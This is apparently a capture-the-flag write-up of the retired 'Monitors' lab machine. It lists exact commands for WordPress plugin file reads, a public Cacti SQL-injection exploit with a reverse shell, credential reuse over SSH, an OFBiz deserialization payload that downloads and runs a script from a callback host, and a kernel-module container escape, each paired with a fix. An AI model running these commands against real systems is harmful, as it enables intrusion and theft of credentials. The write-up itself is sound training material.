Monitors
Summary
Direct-IP and default vhost requests to <retired-instance-ip>:80 (Apache 2.4.29/Ubuntu) returned 403 "direct IP access is not allowed"; whatweb surfaced admin@monitors.htb, indicating a required vhost. Adding monitors.htb resolved a WordPress 5.5.1 site. Reading Apache vhost configs (000-default.conf, monitors.htb.conf, cacti-admin.monitors.htb.conf) via LFI in the bundled wp-with-spritz plugin enumerated a second vhost, cacti-admin.monitors.htb (DocumentRoot /usr/share/cacti, Cacti 1.2.12). wp-config.php yielded DB credentials wpadmin:[REDACTED: recovered credential], which failed against WordPress but authenticated to Cacti as admin:[REDACTED: recovered credential].
Cacti 1.2.12 is vulnerable to CVE-2020-8813 (authenticated SQL injection → RCE via color.php). Using public exploit 49810.py (Leonardo Paiva), an authenticated SQLi UPDATE set path_php_binary to a reverse-shell command, triggered via host.php?action=reindex, landing a shell as www-data on monitors (<retired-instance-ip>).
Enumerating systemd units revealed cacti-backup.service (ExecStart=/home/marcus/.backup/backup.sh), whose script contained config_pass [REDACTED: recovered credential]. Those credentials granted SSH access as marcus (user flag [REDACTED: flag]).
netstat/ss on the host showed an internal HTTPS listener on localhost:8443, identified (via port-forward and probing) as Apache OFBiz 17.12.01 running in a Docker container, exposing /webtools/control/xmlrpc. This version is vulnerable to CVE-2020-9496 (XML-RPC Java deserialization RCE). A crafted methodCall with a base64-encoded ysoserial CommonsBeanutils1 gadget chain, staged via a three-step curl/chmod/bash download-and-execute, achieved root inside the OFBiz container.
The container had CAP_SYS_MODULE (confirmed via capsh --print). A custom kernel module (reverse-shell.c, using call_usermodehelper) was compiled against the matching host kernel headers (4.15.0-151-generic) — after resolving a missing fixdep binary by copying it from linux-headers-*/tools/objtool — and loaded with insmod, executing as root on the underlying host (root flag [REDACTED: flag]).
Attack path — how the box was taken
Exact commands 3
echo '$TARGET monitors.htb cacti-admin.monitors.htb' | sudo tee -a /etc/hostscurl -si http://$TARGET/ | grep -i 'email\|location\|server'curl -si http://$TARGET/ | grep -i 'spritz\|plugin'Exact commands 3
curl -s 'http://$TARGET/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/passwd'curl -s 'http://$TARGET/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/apache2/sites-enabled/000-default.conf'curl -s 'http://$TARGET/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../var/www/wordpress/wp-config.php'FixRemove or patch the wp-with-spritz plugin to close the unauthenticated file-read flawCritical
Exact commands 2
curl -sc /tmp/cacti_cookies.txt -d 'action=login&login_username=admin&login_password=[REDACTED: recovered credential]' http://$TARGET/cacti/index.php -Lcurl -sb /tmp/cacti_cookies.txt http://$TARGET/cacti/index.php | grep -i 'console\|cacti version'FixUse unique, randomly generated passwords for every application and service accountHigh
Exact commands 4
searchsploit -m 49810nc -lvnp 4444python3 49810.py -t http://$TARGET -u admin -p '[REDACTED: recovered credential]' --lhost $CALLBACK_HOST --lport 4444python3 -c "import pty; pty.spawn('/bin/bash')"FixUpgrade Cacti beyond version 1.2.12 to eliminate CVE-2020-8813Critical
Exact commands 4
systemctl cat cacti-backup.servicecat /home/marcus/.backup/backup.shsshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null marcus@$TARGETcat /home/marcus/user.txtFixReplace plaintext credentials in backup scripts with SSH key-based authenticationHigh
Exact commands 6
ssh -N -L 18443:localhost:8443 -o StrictHostKeyChecking=no marcus@$TARGETcurl -sk https://$LOOPBACK:18443/webtools/control/main | grep -i 'ofbiz\|version'java -jar ysoserial.jar CommonsBeanutils1 'curl http://$CALLBACK_HOST:8000/s.sh -o /tmp/s.sh' | base64 -w0 > /tmp/stage1.b64python3 -m http.server 8000nc -lvnp 9001curl -sk -X POST https://$LOOPBACK:18443/webtools/control/xmlrpc -H 'Content-Type: text/xml' --data "<?xml version='1.0'?><methodCall><methodName>a</methodName><params><param><value><serializable xmlns='http://ws.apache.org/xmlrpc/namespaces/extensions'>$(cat /tmp/stage1.b64)</serializable></value></param></params></methodCall>"FixUpgrade Apache OFBiz to a version that removes the unauthenticated XML-RPC deserialization endpoint (CVE-2020-9496)Critical
Exact commands 7
capsh --print | grep cap_sys_moduleuname -rfind /usr/src -name fixdep 2>/dev/null | head -1 | xargs -I{} cp {} /lib/modules/$(uname -r)/build/scripts/basic/fixdepmake -C /lib/modules/$(uname -r)/build M=/tmp/mod modulesnc -lvnp 5555insmod /tmp/mod/reverse-shell.kocat /root/root.txtFixRemove CAP_SYS_MODULE and all non-essential Linux capabilities from Docker containersCritical
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize user-controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.
Why it works
Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |